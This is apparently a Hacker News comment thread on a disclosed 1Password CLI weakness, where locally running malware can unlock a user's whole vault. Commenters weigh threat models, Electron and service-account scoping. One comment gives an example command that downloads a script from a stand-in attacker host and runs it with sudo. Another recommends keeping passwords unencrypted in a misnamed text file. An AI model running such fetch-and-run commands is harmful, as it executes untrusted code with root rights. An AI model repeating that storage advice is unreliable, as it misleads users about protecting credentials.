but yah, you're right it's a very low-risk attack.
or wget https://attacker.com/install_special_pam_bypass.sh | sudo install_special_pam_bypass.sh
This "vulnerability" is actually just a standard warning to not run untrusted software on your machine. In this case the attacker can leverage a commandline program to read your unlocked password vault, but without that he'd still be able to steal any user owned files on your machine and access your bank through your browser to steal your money.
"It rather involved being on the other side of this airtight hatchway."
I’m pretty sure defending against locally executing malware is something that companies like Apple and Microsoft work on daily. The idea that it’s not “feasible” sounds suspiciously lazy.
I’m confused why this is just be publicly disclosed. It’s been known for 2 years!
Sounds like the person really came from a supportive place and hoped things would get sorted out. And had life intervene along the way maybe.
> 1Password.app: Electron 37.3.1 (Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework)
[1]: https://news.ycombinator.com/item?id=45437112
Edit: Judging by the downvotes, it looks like there are a lot of electron lovers here. Why the hate for more efficient native apps? Are bloated binaries, janky UI and lower battery life, features? :)
It's cross-platform and integrates with browsers so it makes sense they would want to use a cross-platform JavaScript solution as much as possible. Not just to make their developers more efficient, but to reduce the surface area for bugs and vulnerabilities.
99.9% of my usage is within the browser plugin anyways. And whenever I have to edit an entry, it works fine.
If you don't (or barely) use the app, the app is not an issue to you; that seems pretty self-evident.
The experience for regular users may differ.
I don't use a plugin. Never tried it, simply never mattered enough (and I generally store frequently-used browser passwords in the browser's keychain as well).
If this had been your business, what would you have done? I would have done exactly what they did.
That doesn't change the consumer perspective: I'm paying more for a worse product.
If electron was actually always bad, you wouldn't need a script to scan your machine and tell you which apps to hate, you'd just know "yep that's slop" upon first opening the app. Yet that is not the case. Because electron is a tool, and it's sometimes used so well that you don't even notice it until you run a script.
If someone has arbitrary code execution on your machine as your user, then of course they can access things your user can access.
They could just as easily keylog your password, or replace the onepassword-cli binary with one that exfiltrates data, or steal your browser cookie to get into your email account and use that to hijack recovery flows...
People dismissing this vulnerability miss the point of a password manager which is to protect in such scenario where code gets executed on a machine but at least the data is encrypted, of course in that scenario the attacker can get access to the plain text env variables anyway that the developers has on their machine but at least it is not ALL of your credentials like in this case.
Service Account can limit the blast radius BUT you’ll end up saving that API token in your env anyway giving access to anyone executing malicious code…
Using their CLI is dangerous if they haven’t done anything to protect in this scenario. Did they have any comments in that vulnerability and how they want to mitigate it?
Why not simply return the value of the requested items and that’s it? Why unlock everything in a CLI scenario, surely the most common case is simply grabbing a single item like a .env for a project and that’s it.
When I briefly tried Kamal, it made me very uncomfortable for a script to ask for access to my entire 1Password - every login, credit card, etc. While I do not think Kamal is malicious, in the context of all the constant supply chain attacks, saying yes to anything like that seems extremely irresponsible.
This seems like an area where there'd be obvious value in applying the principle of least privilege, so I was surprised when I couldn't find any granularity to the CLI permissions in 1Password.
It can limit the scope of accessible vaults, which can help but only if you do the legwork of keeping multiple copies of secrets in separate vaults and managing service account tokens.
But the token is just in an environment variable, which if we’re worried about this supply chain malicious library scenario, is no different than keeping your secrets in a plain text .env file.
And worse, a service account doesn’t prompt the user.
The functionality of `op run —env-file .env — some_app` which then prompts the developer is what we’d want in a dev environment, just with finer grained permissions and options to prompt every time.
But realistically, if someone can execute code on your computer, they can get to your entire 1Password account through scraping the app, key logging, sending keystrokes and screenshotting, etc.
The flip side would be, you install your dependencies, and one tries to run `op …` and you get a 1Password popup on your screen, which should surprise you because you didn’t run `op` yet. Supply chain attack mitigated (maybe).
With a service account there is no prompt and your secrets, though now more limited in scope, and exfiltrated successfully and silently.
Service accounts are definitely not the silver bullet. 1Password should just add more fine-grained permissions and prompting options to get closer to an ideal solution.
But in shared environments or CI/CD pipelines, this doesn’t work. And the credential exposure through process lists is pretty bad.
Don't store important passwords on your machine in a single point of failure. It's safer to store them unencrypted in a wrong named textfile than on the place where everyone will look automacially at first. But more secury is it to NOT store them at all on your machine.
lucasqueiroz•4mo ago